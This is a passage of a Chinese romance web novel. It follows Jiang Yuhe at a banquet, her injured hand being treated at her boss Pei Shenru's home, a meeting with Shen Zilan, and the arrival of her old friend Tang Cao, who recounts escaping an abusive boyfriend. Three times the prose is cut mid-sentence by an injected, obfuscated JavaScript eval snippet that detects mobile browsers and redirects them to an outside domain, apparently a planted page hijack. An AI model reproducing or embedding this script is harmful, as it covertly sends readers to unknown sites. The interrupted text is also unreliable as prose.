在这里,王娇娇给她的title是“工作室合伙人”。 虽然知道她在满嘴跑火车,但感觉自己被升咖了,姜与荷嘴角还是控制不住地上翘。但是她实在不懂如何应付社交场上的人,没一会就找机会溜了。 宴会厅边上是自助餐台,各种美食摆得满满当当,却没多少人在吃,大家都拿着一杯酒忙着聊天。 姜与荷挪过去开心地吃了起来,边吃边想,王大小姐诚不欺我,这味道真是绝了…… 就在她准备去拿金枪鱼刺身的时候,突然听到了一个略显熟悉的声音:“姜与荷!” 这个声音很尖利,略带亢奋,让姜与荷感觉有些刺耳。 扭头一看,果然,又是那位金蓉蓉小姐。 她简直是阴魂不散……姜与荷感觉自己的霉运又要起来了,怎么会这么巧就碰上了? “金小姐,我说过了我不认识你。”她疲惫地皱眉。 “你记不起来我也正常,毕竟都快隔了十年了……不过我们真的是同学呀,你不信我可以给你看学校相册!”金蓉蓉完全不在意她的抗拒,只一个劲地套近乎。 姜与荷对相册一点兴趣都没有,无论她们是不是一个高中的都无所谓。对于这样毫无边界感、目的性极强的人,她一点好感都没有。 她这样缠着自己,无非是想通过她搭上裴慎如,可惜她打错算盘了:“金小姐,你找我也没用的,我只是一个基层员工,平时根本见不到裴先生。” 哪知道她听后眼睛一亮,更起劲了:“你都能为裴先生工作了,怎么会没用呢?” 见她根本说不通,姜与荷也烦躁起来,转身就准备去找王娇娇。金蓉蓉见她要走也急了,故技重施,直接上前拉住了她的手。 角度不巧,拉的还是她今天划开的那只手。 感觉自己刚愈合的伤口又要裂开,姜与荷很生气:“请你放开!” 金蓉蓉根本不理:“别急着走呀,我们聊聊嘛。” 姜与荷都有点气急败坏了,用力地甩了几下手试图甩开她。但对面明显经验丰富,好不容易碰见了,哪会让她轻易溜走。 推搡间姜与荷的披肩滑落,露出大片雪白柔嫩的肌肤。 她的皮肤天生就光滑细腻,这段时间她又好吃好睡,气血充足,在宴会厅的灯光照射下,显得整个人肌骨莹润,暖玉温香。 这里的动静吸引了很多目光,或是好奇、或是玩味。 一下子成了众人的焦点被各种人打量注视,姜与荷都要恼羞成怒了。她甚至想踹金蓉蓉一脚,可惜穿了高跟鞋,她怕没踹到人反而自己先摔一跤。 她只好扭头四处找寻王娇娇,想让她来把她救出魔爪。但是王娇娇像个花蝴蝶一样四处social,一时间根本看不到人。 自己后方好像传来了一阵骚动,但她现在根本没心思理会,只一心找寻王娇娇的身影。 冷不防她身上多了一件西装外套,下一秒自己的手也被放开,又被托在另一个人的手心里。 姜与荷扭头一看,裴慎如眼眸低垂,摩挲着她的手指。 29. 包扎 他的头发随意地散落在额前,显得整个人柔和了许多,不像平日那般令人不敢直视。他也并没有穿西装,只穿了一件浅灰的长裤和米棕色的薄羊绒衫,V领堪堪开在他线条分明的锁骨下方。 还有件浅灰色的外套,现在正披在姜与荷的身上。 宴会上有几个中心人物认出了他,神情瞬间一喜,想要近前却又不敢贸然动作,显出几分犹豫踌躇。其余人虽然不知道他是谁,但看那几位的神色和举止,便也知道是位举足轻重的大人物。 在一众盛装出席的男男女女中,穿着休闲的裴慎如显得格格不入。 换作别人,早就已经成了宴会的谈资,迎来一波窃窃私语的嘲笑;但是这些平日里格外挑剔的上流人士此刻仿佛集体眼瞎了一般,对他这不合时宜的着装视而不见,眼中只有跃跃欲试的热切。 裴慎如撕开她手上的创可贴,伤口果然又裂开了,还在往外渗出血珠。 他对身后跟着的人说道:“请吕医生下楼。” “需要让他来这里吗?” “不用。” 姜与荷急忙推辞:“这种小口子一会就好了,不用麻烦医生的。” 裴慎如语调平淡:“伤口反复感染,运气不好可能需要做切除手术。” “哦……” 姜与荷立刻怂了,毕竟她对自己的运气一向没什么信心。 他又扫了站在一边的金蓉蓉一眼,吩咐道:“请她离开。” 金蓉蓉面对他明显不如面对姜与荷那么无所顾忌。 在被随行人员示意离开的时候,她不敢吭声,转身走了两步,犹豫了几秒,又回过来对着姜与荷道歉:“与荷,不好意思呀,我没注意你手上有伤口……不过我也不该一上来就拉你的手,实在太唐突了,我们也好多年没见了……” 突然就学会了边界感了啊……姜与荷腹诽。 她害怕金蓉蓉打蛇随棍上的本领,不想再和她沾上边,所以没出声。 见她不搭话,金蓉蓉又转向裴慎如:“裴先生,真的非常抱歉,我是新水影视的金蓉蓉,今天和我们老板一起来的。只是凑巧遇到了与荷,一时激动,绝没有冒犯的意思……” 她边说边向人群中张望,只是她口中的老板始终没有出现。 没有人接她的话。裴慎如看了一眼身边的人,立刻就有人架着金蓉蓉的手臂“请”她出去。 金蓉蓉刚走,姜与荷就又被人喊住了。 “与荷!”一个清亮的女声传来。 哦,原来是终于注意到她的王大小姐。 王娇娇穿着长裙、踩着恨天高走路生风,极速靠近姜与荷,然后露出一个灿烂到略显夸张的笑容和裴慎如打招呼:“裴先生,真是太难得了,没想到您今天也会赏脸出席。” 裴慎如点点头:“你好。” 毫不在意他冷淡的态度,她又立马接话:“我跟与荷一起做工作室呢,这次来带她认识认识人,您不会介意吧?” 在她的真·老板面前说什么一起做工作室啊,这不是抹黑她的形象吗?可千万不能让裴慎如觉得她假公济私、吃里扒外。 姜与荷心下一咯噔,连忙转身向老板表忠心:“我只是下班后偶尔去帮王小姐一点忙,做点杂事,算不上什么合伙。” “我知道。”裴慎如看起来并不意外。 见他不像有所不满的样子,姜与荷的心放回了肚子里一点。 见王娇娇成功搭上话,周边观望的人也有些蠢蠢欲动。有些人试探性地往这边走,但都被他身边跟着的人不动声色地拦下了。 王娇娇这边厢只管滔滔不绝地介绍她的工作室,舌灿莲花地吹嘘她MCN公司的前景,听得站在一边的姜与荷都有些一愣一愣的。 真的有这么好吗?可她看着也不像啊…… 姜与荷看着王娇娇没停过的嘴,脑中浮现“巧舌如簧”四个大字……要不她建议王大小姐试试脱口秀吧?现在好像挺火的。 裴慎如终于打断了她:“吴铮会联系你,失陪了。” “哎!好好好,您慢走……”感觉自己的力气没白费,至少得到了一个允诺。王娇娇躬着身子,笑颜如花地送他们一行人出门。 姜与荷跟在裴慎如身后,默默扫了一眼王娇娇。 作为豪门千金,有她这样的力气和手段,做什么都会成功的! 出了门后,秋天的晚风便挟着凛冽的寒意扑到了姜与荷的脸上。她本想把衣服还给裴慎如,但又想到自己的吊带长裙……她裹了裹外套,还是算了吧。 反正他看起来也不冷。 庭院里的灯光明亮柔和,照得院中的一切都很清晰。他们正穿过一片宽阔的草坪,脚下的路用石板和鹅卵石砌成。姜与荷低头小心翼翼地走着,防止出现走路不稳摔一跤的情况。 丢人就算了,这鞋子可是王娇娇借给她的,还是她表妹上次来她家时候订的,正巧是她的尺码。听说是巴黎下一季的新款,王娇娇都预订很久才到的。万一摔坏了,她赔的时候可不得心疼死。 她专心低着头看路,偶尔抬头看一眼前方。还好裴慎如虽然人高腿长,但走路慢悠悠的,一直在她眼前,并没有让她落在后面。 穿过草坪,他们来到了一栋小楼门口,有一位上了年纪的女性已经在门口等待。见到裴慎如过来,便跟他说:“吕医生就在客厅。” 裴慎如点点头,转身示意姜与荷进门。 比老板先进门是不是不大好?但看裴慎如站在门口等她,她只好略带忐忑地进了屋。 “准备一双鞋子。”她听见裴慎如在身后说道。 “好的。”那位妇人转身离开。 她站在宽阔的客厅里,看见沙发上坐着一位约莫五十岁的大叔,面前的桌子上放着一个医药箱。他双手操作着横屏手机,专心致志地盯着屏幕,很像姜与荷打游戏的姿势。 可能是低头太久脖子酸了,他抬头活动的时候看到两人已经进屋,忙不迭地摘下耳机从沙发上站起,对他们露出一个和善的微笑。 难道这就是吕医生?她不太确定,只能用眼神询问走近的裴慎如。 裴慎如示意她上前:“让吕医生为你处理一下伤口。” “好的。” 她走过去打招呼:“您好,我叫姜与荷。这么晚还要麻烦您过来,真是太不好意思了。” 作为一个社畜,她非常能共情晚上被人喊来加班的吕医生。 吕医生倒是乐呵呵地摆摆手:“没事没事,我就住这儿。本来就是为了预防突发情况,才专门请我来为这里的客人急救的,平时也没啥事。” 这一年才能出诊几次啊……?怪不得他浑身上下都没有一丝社畜的怨气,反而是满满的peace&love。 姜与荷是真的羡慕了,现在学医还来得及吗? “来,我看看你伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673545|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。”吕医生打开医药箱,带上手套准备干活。 姜与荷大喇喇地伸出手给他展示,顺带把情况往严重了说。 她本来觉得麻烦人家很不好意思,但现在见识过吕医生的完美工作,出于社畜微妙的嫉妒心,她对于增加他的工作量毫无心理负担。 裴慎如要是钱多得不知道怎么花,可以给她多发点工资,好吗? 裴慎如正好过来了:“要换鞋吗。” 他手上拿着一双平底拖鞋。 “要的要的。”姜与荷连忙答应。这8厘米高跟鞋她真的已经受够了,谁爱穿谁穿吧,反正她没这个名媛命。 她的右手正被吕医生查看,不过没关系,她扭过身,迅速用左手拿过鞋子扔到脚下,甩了一下腿把高跟鞋踹掉换上拖鞋。再把地上的高跟鞋扶起来放到她左侧脚边,防止等会忘记。 一系列动作一气呵成,丝滑得让站在一边的裴慎如都好像有些愣住了。 “您坐啊。”姜与荷见他还站着,殷勤招呼他坐下。马上她又好像想到了什么:“还是您有什么事要忙吗?我记得路,等会自己回去就行。” “……没有。”裴慎如挤出两个字,坐到了一边的沙发上。 哦哦……姜与荷转回身看她的手。手上有些干掉的血痕,看着挺唬人,但擦一擦消个毒也就差不多了。但吕医生却在那研究了半天,还准备拿镊子伸进伤口里…… “你干嘛!”姜与荷大惊失色。 “哎呀,你别动嘛,让我看看。”吕医生因为她的不配合脸都皱了起来。 “我这伤口都快好了,你又弄开?” “哪好了,你等我给你看!” 吕医生又拿起了镊子,而姜与荷坚决不肯,努力地挣扎着想把手抽出来。然而她的挣扎没一会就宣告失败……因为裴慎如按住了她的手。 他的手修长却有力,肤色极白。姜与荷的手虽然也算白皙,但是一种糅合了阳光的健康的白。裴慎如的手覆在其上,仿佛初雪拥抱暖阳。 “吕医生是权威的外科医生,他这么说必有原因,就让他检查一下吧。”他在姜与荷耳边轻声说道。 姜与荷的内心仍然是拒绝的,但是她并不太敢驳裴慎如的话,加上手又被他紧紧地握着,只能眼睁睁地看着吕医生拿着镊子把正在愈合的伤口翻开。 痛痛痛……她痛得脚趾蜷曲,控制不住地想要抽回手,却被裴慎如牢牢禁锢。他的右手包裹住她的手掌,左手托起她受伤的食指,方便吕医生检查。 姜与荷很怕痛,但她真的痛的时候一般不出声,只是皱起眉头默默忍耐。经过短暂而漫长的十几秒,吕医生的镊子终于退出来了。 镊子尖上多了一块极细极小的碎瓷片。 吕医生白了她一眼:“伤口里有异物,你没感觉痛吗?” 姜与荷被当场打脸,有些讪讪:“我以为是伤口还没长好……” 吕医生把碎瓷片郑重地放到盘子里,仿佛呈堂证物,然后给姜与荷清理包扎。一切弄完,他昂起头,带着几分傲娇地摘下手套,准备功成身退。 姜与荷自觉丢脸,像个鹌鹑一样不敢再多嘴,还好这时候有人来解救了她。 “裴先生,沈小姐想来拜访。”是刚才那位妇人。 裴慎如点点头。 沈小姐?听到这个熟悉的姓,姜与荷想起了一些故人。 ……没想到还真是故人。 30. 沈小姐 来人是沈求章的双胞胎堂妹之一,姜与荷不太确定是哪一位,沈滋兰,还是沈树蕙? 她穿着剪裁利落的黑色风衣,扎起的腰带勾勒出纤细的腰身。进门后她脱下外套交给等在一边的妇人,里面是一件银灰色的露肩礼服,脚上踩着同色系的尖头钻扣高跟鞋,整个人在客厅的灯光下熠熠生辉。 虽然已经和沈求章分手很久了,但是姜与荷乍一看见他的堂妹还是觉得有些尴尬,仿佛她们不该再遇见。更尴尬的还是在裴慎如这里遇见,沈小姐应该会有“怎么又是你”的疑惑吧…… 正巧这时候吕医生起身告辞,姜与荷便也顺势说:“我也一起走吧,不打扰你们谈事情……” “不会很久,等一等我吧。”裴慎如拦住了她。 本身她就不擅长拒绝和扯皮,更不要说是跟裴慎如……在沈小姐面前她也不想多事,便只好默默坐在沙发角落,努力降低自己的存在感。 “我是沈滋兰。”没想到她先向姜与荷作了自我介绍。 姜与荷一愣,马上反应过来:“哦,你好你好……好久不见啊,哈哈。”她只能干笑两声缓解尴尬。 沈滋兰点点头,在对面的沙发落座:“抱歉,我刚过来就听说宴会上有人惊动了你。” “没事。”裴慎如不以为意。 有一位稍年轻的服务人员送了三杯咖啡过来,沈滋兰啜饮了一口: “那家新水影视投了部爆剧,最近势头很猛,野心也大了。” 爆剧?裴慎如并不在意,姜与荷的耳朵却竖了起来。 沈滋兰往她这边看了一眼:“《长亭月落》,你看过吗?” 其实姜与荷很久没追过完整的电视剧了,但是这部剧实在是太火爆,到处都有人讨论,只要上网的都躲不开。而且这部剧还跟她有点缘分——就是来《寻神搜诡》宣传过的苏曼曦的那部仙侠剧。 看来她的眼光还是蛮准的嘛,果然爆了。 这么火爆也算有她一份功劳吧~姜与荷翘起嘴角,面上颇有些自得。 可能是不知道她怎么突然就挺起胸膛骄傲了起来,沈滋兰收回视线,跟裴慎如谈起事来。 他们谈的事太宏观,离姜与荷太遥远,她听不大懂也不太感兴趣,又不好意思拿出手机刷,只能端着咖啡杯时不时喝一口,祈祷这个会谈早点结束。 还好裴慎如没忽悠她,他们俩也都不爱说废话,确实没有很久就谈完了。姜与荷如蒙大赦,站起来准备好走人,突然眼光扫过地上的高跟鞋,才想起来差点把王娇娇的鞋忘了。 裴慎如见她又坐到沙发上,弯下腰似乎准备换回高跟鞋,开口道:“不用换了。” “啊?这不大好吧……”姜与荷想着还要回宴会厅找王娇娇,穿着拖鞋去能行吗? 有人拿来一件外套,裴慎如边穿边回道:“不舒服就不要穿,别的不必在意。” 行吧,反正宴会上的人她也都不认识,无所谓。 沈滋兰穿好风衣,临走前特意到了姜与荷面前:“姜小姐,抱歉。” “啊???”她有什么好抱歉的?姜与荷一头雾水。 “那天……如果树蕙没有提到叔叔,求章可能不会那么早就跟家里说起你。” 哦……她是觉得妹妹间接拆散了她和沈求章,所以觉得抱歉? 姜与荷笑了笑:“和你们没关系啦,这是我们两个人的决定。不用抱歉,不合适的人早晚会分开的。这么算起来,我还要谢谢树蕙小姐呢,没有让我耗费太多心神。” 沈滋兰点点头,转身离开。 地上的高跟鞋已经有人用纸袋装好,裴慎如伸手接过,转头喊她:“走吧。” “我来我来……”姜与荷想自己拎。 裴慎如没理她,自顾自往门口走:“你注意好脚下吧。” 她现在穿的平底拖鞋,没了8厘米高跟鞋的加持,这条裙子就显得有些太长了,走动间时不时会蹭到地面。 这高定礼服不知道得多少钱呢,脏了能洗吗……姜与荷连忙提起裙摆,小心翼翼地跟上裴慎如,一路上还得时不时低头看看有没有沾到灰。 回到了宴会厅,没想到人不仅没少,好像还多了点。姜与荷不太想进去,站在门口掏出手机准备打王娇娇电话。 但这次不需要打电话,王娇娇立马就发现了她,迅速冲了过来。 她一副熟人的口吻寒暄着:“裴先生,你还送我们与荷回来呀,真是太感谢了,今晚不忙吧?” 裴慎如点点头,把手上的袋子递给姜与荷,然后便转身告辞。 裴慎如走后,观望的人群一下子围了过来。除了找王娇娇的,还有很多人来跟姜与荷套近乎。 一下子这么多陌生面孔她根本记不住,也不想记住,反正这些人其实也并不想记住她。王娇娇挂着完美的商业微笑,游刃有余地交际着,而她并不习惯这种场景,这么多陌生人的包围让她紧张和头痛,甚至有点呼吸困难。 她看了眼和一大堆人说得兴起的王娇娇,不管了,自己先出门透透气吧,她宁愿在寒风里等她出来。 礼貌地告辞,她装作听不懂别人的挽留,径直往门外跑。出了门在风里才发现,身上还穿着裴慎如的那件外套。 这外套没有商标,不知道什么牌子,摸起来应该是羊绒的。这能洗吗?得干洗吧?万一洗坏了怎么办?要不还是上了班直接给吴秘书吧。 姜与荷有点头痛,今晚东西没吃多少,麻烦倒有一堆,这一趟来的亏大了。 她靠着柱子越想越气的时候,王娇娇出来了。 姜与荷有点惊讶:“你这么快结束了?” 王娇娇嗔怪地看她一眼:“你都出来了,我当然跟着你啦。” 呵呵,是吗,姜与荷斜斜地瞟她一眼。 她揽着姜与荷的肩带着她往外走:“哎呀,今天可辛苦你啦,没想到这里都会有人闹事,没吃多少东西吧?走走走,请你吃饭去。” 这还差不多……她是真的饿了。 说是请她去吃饭,但是她们的穿着都太不方便了,王娇娇在车上递过一个pad给她,让她选想吃什么,好吩咐家里的厨师做起来。 “算了吧,都这个点了,我回家再吃吧。”大晚上的,姜与荷不太想麻烦别人。 “没事儿,不用觉得不好意思啊,我家厨子这个点没睡呢,我爸妈在家都要吃宵夜的。” “那你家厨师还挺辛苦。” “所以工资也高呀,别人家两倍呢。” “哦?你家这么大方?” 王娇娇翻了个白眼:“纯是因为我爸想把别人家比下去,他觉得这样有面儿。” 让你爹开个老板培训班好吗……员工的收入就是老板的脸面! 她们是在王娇娇套房的小客厅里吃的宵夜,不得不说,她家的厨师绝对配得上他的高薪,这一顿吃得姜与荷心满意足,胸中的怨气都一扫而光。 吃完饭她才想起来应该先换衣服的,不知道刚才吃饭时有没有沾到污渍。助理来帮她脱下礼服,她迅速换回自己的衣服后就跟王娇娇道别。 王娇娇起身让她等一等,边上的助理把礼服裙打包好后和高跟鞋一起拿着,准备跟着姜与荷一起出门。 “走吧,我送你。”王娇娇转身向门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726513|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口走去。 姜与荷有些疑惑:“这些东西是?” 王娇娇一脸理所当然:“当然是送你啦,你穿着那么合适,比我穿着好看多了,这衣服倒像是给你定做似的。” “……倒也不用,你留着吧,我也没什么场合穿。” “那可不一定啊,你跟着裴先生,怎么会没场合穿?” 我什么档次,还跟着他参加宴会?再说哪个员工需要穿高定伺候老板的? “裴先生基本不会出席这种宴会……”出于社畜的面子问题,姜与荷还是选择了另一个借口。 不过王娇娇还是坚持要送她,她实在敌不过东北人拉扯的功力,最后只肯收下鞋子,礼服裙坚决不要。 鞋子就算了,高定礼服她可听说动辄几十万上百万的,这就太超过了,这么大的便宜她不太想占。 走的时候在楼梯口又碰上了王娇娇的弟弟,他穿戴整齐似乎是要出门。 姜与荷此时身上正穿着自己的衣服,普普通通的平价商场牌子,透露着遮掩不住的阶级的味道。他看见姜与荷,眼里流露出一丝轻蔑与玩味,对着她们俩笑了一下,便下楼出门了。 王娇娇看着他离开的方向,一脸厌恶:“他就是个脑子不好的傻逼,你别放心上。” 姜与荷点点头,看起来她俩姐弟关系很恶劣,以后应该碰不到这位王少爷。 回到家后她掏出一晚上没看过的手机,发现了一条来自唐草的讯息: “我到海城火车站了。” 看看时间,是八点不到发的,现在已经十点多了。姜与荷一下跳起,来不及思考,立马打了电话过去。 电话响了一声马上就被接通了:“你现在在哪?” 对面传来唐草久违的声音,久到姜与荷觉得有点陌生:“我……我还在火车站出口那里。” “等着,我来找你。” 她回家的路上已经稀疏开始有雨滴了,现在她再出门,外面已经变成了细密的小雨,她只好又回家拿了两把伞。到了火车站后,她一边跟唐草通电话问位置一边四处张望找人,最后在大厅门口的角落里看见了一个熟悉的身影。 她当时正拖着行李躲在延伸出去的屋檐下,有些雨丝被风吹到了她的身上。边上便利店惨白的灯光映照出她低头蜷缩的背影,姜与荷脑子里瞬间浮现“丧家之犬”四个字。 她走上前问道:“你怎么不到里面去等?” 面前的人缓缓抬起头来,露出一张有些熟悉的脸,让姜与荷想到了她的高中时代。那时候,这张脸还稚嫩鲜活,充满了生命的韧劲。多年后再见,这张脸上已经留下了风刀霜剑的痕迹。只有眼神,还残留着一些迷茫。 姜与荷和她吵得精疲力尽的那天,离开前最后看了她一眼。当时她的脸上,有执拗、恐惧、伤心,还有和现在一样的迷茫。 她听到了姜与荷在问她,但只是低着头没有说话。姜与荷没再说什么,只让她跟着自己走。 坐在出租车上,姜与荷想了想,没有带她回家,而是让司机开去了一家酒店,在路上顺便点了些外卖。 到了酒店给她开好房间,外卖也到了。拿着外卖进了房,姜与荷让唐草先吃饭。她坐在一边默默看着唐草扒饭,八九年未见,她一时间也不知道该说些什么。 唐草吃饭一向很快也很轻,是高中时候练出来的。那时候她吃得慢要被客人催被店长催,吃得声音大又会被学校里的人恶意取笑,所以她习惯了这样吃饭,很快外卖就吃完了。 她放下筷子,抬眼瞄了瞄姜与荷,又低下头转过身去。 房间里陷入了一片沉默。 31. 唐草 最后还是姜与荷先开口:“你遇到什么事了?” 唐草闻言颤抖了一下,似乎是被这突然响起的问话吓了一激灵。 她转身看了看姜与荷,似乎想扯出一个微笑,但尝试几次还是失败了。最后她依然低着头,闷闷地说:“我……我现在一个人了。” “阿姜,你说我还来得及重新开始吗?” 姜与荷不置可否:“你先确认好自己是不是从此真的一个人吧。” 唐草听出了她的言外之意,自嘲地笑笑:“你不相信我也是应该的,我实在是……太蠢了。” 姜与荷认真地和她说:“你不蠢,你很聪明,聪明到让我羡慕。” “你只是选错了路。不管来不来得及,总比一条道走到黑好。” “你先好好休息一晚,明天再联系我。” 唐草闻言抬头,眼神里有些不安:“你家离这远吗?” “不远不近吧。抱歉,不能请你去我家。”姜与荷站起身,直截了当地说道:“我怕你的混混男友找上门来。” 面前的人有些难堪,脸颊涨红,只低着头道:“那你回去注意安全。” “嗯。” 在关门的那一瞬间,唐草轻声又坚定地告诉她:“我会证明给你看的。” 姜与荷没有回话,转身走了。 她相信唐草现在是真的决心要和那个男人分手,但是那又怎么样呢? 人是一种很善变又很容易动摇的生物。 今天坚决要分手,那明天、后天呢?别人求一次可以拒绝,那求五次、十次呢? 会不会又被这种“执着”感动了,余情未了旧情重燃呢? 姜与荷不喜欢掺合别人感情的事,因为外人根本无从得知全貌,所以看不明白,也看不懂。 她从没有见过唐草的那位“男友”,但不妨碍她对他厌恶至今。她愿意帮助唐草开始新的生活,但绝不愿意和那位“男友”沾上一点关系。 第二天姜与荷把那件羊绒外套拿给了吴秘书,顺带跟他强调了自己不太清楚洗护保养的方式。吴秘书对她和善地笑了笑,跟她说有专业人士会负责打理。 解决完这件事,姜与荷回到自己的办公桌开始工作。处理完事情,她空闲时候还要看经济学的相关书籍,仿佛又梦回大学考试前临时抱佛脚的日子,她最近过得也不算容易。 好在韩小虹是个很热心的人,帮她精挑细选了几本书,还找到了她教材的中文版送过来,让她不至于像无头苍蝇,少走了很多弯路。 唐草的电话在十点半响起,姜与荷约她12点在酒店附近的一家餐厅碰面。 经过一晚上的休整,唐草的气色看起来好了很多,人也没有昨天那么畏缩了。姜与荷坐下,第一句话就是问:“早饭吃了吗?” “没……没呢,我九点多才醒。”对于自己起得这么晚,唐草仿佛有点不好意思。 迅速点完菜,姜与荷让餐厅先上点东西垫垫肚子。 “你这些年……过得怎么样?”她终于还是问了出来。 唐草垂着眸子,双手交握,沉默了一会回道:“有好有坏。现在想想,坏的时候居然那么多。” 她笑得有些苦涩:“以前我都没感觉到。” 这时候服务员上了一碗紫米粥,唐草边喝边跟她说起了这些年的经历。 高考之后她就和她那位男友——现在应该叫“前男友”了,俩人一起去了外地打工。他们都没有学历,只能进厂上流水线。虽然很辛苦,一站就是一天,但那段时间倒是唐草觉得最快乐的时候。 工厂的工资比她打零工时候多多了,够她买很多以前舍不得买的东西;她那个前男友又混迹社会多年,没多久就和厂里的老油条们称兄道弟的,所以她也没受什么欺负和骚扰。 当时的他,确实给她撑起了一片天。 那时候多开心啊,一有空就呼朋唤友,出去吃喝玩乐。没有人会嘲笑她外地人,因为大家都是外地人;也没有人会鄙视她家境贫寒,因为大家都知道贫穷的滋味。她不需要多说一句话,就能得到数不清的理解与安慰。 她太喜欢这样的日子了,甚至开始憧憬起和前男友结婚生子、组建家庭。 但是美好的时光总是那么短暂。厂里人员流动太快,熟识的人慢慢都离开了这里另寻出路。前男友也不再满足于当个普通的流水线工人,要拿着他们俩微博的积蓄,跟他认识的那些“大哥们”合伙做生意。 那时候唐草太年轻,所以仗着年轻什么都不怕。对于男友的提议,她只觉得是要带她开启另一段奇妙的人生冒险,所以不假思索地同意了。 她的噩梦也就此开始。 他们做了很多次生意、辗转了很多地方,始终没有什么起色,不仅赔光了老底还倒欠了许多钱。但这对她来说并不是什么大问题,她不怕过苦日子,反正她也过惯了。 她害怕的是越来越陌生的枕边人。 他穿上了不合身的廉价西装,从仗义热心的江湖少年,变成了“大哥们”的拙劣翻版,成天混迹在不知道有没有用的应酬和饭局上。那些饭局她去过一两次,烟雾缭绕的包厢,吹得口沫横飞的大哥和身边捧场奉承的女人。 她在里面格格不入。她讨厌那些虚伪油滑的大哥大姐,更不想看到男友伏低做小的样子,所以她再也不肯去这些地方。她也劝过男友不要相信他们,但男友只觉得是她不懂事。 但“懂事”的男友也并没有得到什么,除了日渐油腻的身形和越来越坏的脾气。郁郁不得志的日子很能摧残人,她也被男友摧残得从一开始的同情,到疲惫、伤心、失望。但是他们在一起太久了,她仍然舍不得放弃这段感情。 直到有一天,男友醉醺醺地回来冲她发火。 其实她也习惯了,他喝了酒心里不爽就会回家发脾气,骂天骂地骂她,有时甚至还会上手。她一开始会哭着和他吵架、打架,等他酒醒了来她面前痛哭流涕、下跪认错,然后他们和好,然后她在惴惴不安中猜想下一次会是什么时候。 后来她也渐渐麻木了,他骂人就当听不见,想动手她就往外跑,跑不掉就挨上几下,日子就这么一天天熬过去。 但是那一天不一样。 那一天他满脸通红地回来,捂着脸在沙发上坐着,意外地安静。她本来想进屋眼不见为净,看他这样还是去拿了块热毛巾给他。 他接过毛巾擦了把脸,眼神有些迷离地看着她,口中喃喃:“为什么……” “什么?”她没听清。 “为什么你不能帮帮我呢?别人的女人都可以啊!”他狠狠地把毛巾甩到地上。 她也憋了许多火:“我没帮你吗?我挣的钱全都给你花完了!我还陪你还债!给你做饭洗衣服!每次你喝醉酒还要伺候你,你吐的东西没一次是自己收拾的!” “我哪里对不起你?!!” 他仿佛什么都没听见,只癫狂地叫着:“你从来不肯陪我去应酬!你就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779861|154605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么金贵?我喝得快吐血都拿不下的单子,别的女人敬杯酒被人摸两下就能帮她男人拿下来!” 她不可置信,颤抖着问:“你要我也去给别人摸?” “摸两下怎么了,会掉块肉吗?”他仰起头,一脸满不在乎。 “那下一步是不是要我去陪睡了?”她开始愤恨。 “别这种表情,我都不介意,你介意什么?” 他的脸被酒色浸淫得浮肿不堪,再也看不到当初的一丝影子。 烂了,烂完了。 这一瞬间她只觉得无比恶心,只想赶紧逃离这个地方,再也不想多看他一眼。 见她冲进房间,他不以为意。见她拉着个行李箱出来,他从沙发上站起:“你要干什么?” “我要分手!” “分你妈的手!你要去外面找野男人啊?!那还不如帮我去陪酒呢!” 她实在忍无可忍:“滚开!” 对面的男人哪肯放她走,两人在客厅里纠缠起来。他到底是喝醉了酒,被她拿起一个杯子砸破了额头,趁他坐在地上起不来,她赶紧逃离了那里。 随便买了张车票,她坐在大巴上泪流满面。这些年的日子在她眼前闪过,最后定格在姜与荷和她大吵的那个下午。 她就这样联系了姜与荷。 姜与荷没什么胃口,喝了一口汤,缓缓开口:“八年多了吧……你这个梦做得够久的。” 唐草只是用勺子搅着粥,没有说话。 “你跟他怎么认识的?” “高二打工认识的,我被店长刁难,他帮我出头。后来……他也一直帮我。” “这些情分现在算消耗完了吗?” 唐草抬起头,看着姜与荷,眼神却没什么焦点:“完了,都完了。” 姜与荷问道:“你这些年有学什么吗?” 唐草的头又低下了:“我……我高中学历,只能干些临时工,也都是些体力活。” “我这次来就是想见见你,没想呆在海城。我现在一个人,随便打点工也饿不死的,不用担心。” 姜与荷想了半天,低头扒了一口饭:“我给你报个编程培训班,你先努力学,要是学出来了我再想办法给你找个工作。” 唐草瞪大了眼睛:“编程?我……我怎么能行……” “怎么不行了?你忘记你高中时候理科多好了?” 说到高中,唐草安静了下来。她的眉头皱起,脸上却有几分怅惘和怀念。 姜与荷继续说着:“只要你真的有本事,程序员不太卡学历。上课时候你就拼命学,你水平高了我才能好给你找工作。” “嗯。”唐草沉默半晌,终于答应了下来。 “培训班的学费我先跟你借……” 姜与荷急忙打住:“别管这些,你现在只需要好好学习,学费我还是出得起的,一切等你找到工作了再说。” 结束这顿午餐,姜与荷又匆匆赶回去上班。在办公室里她又发消息给周英然,看什么时候她能赏脸吃个饭。 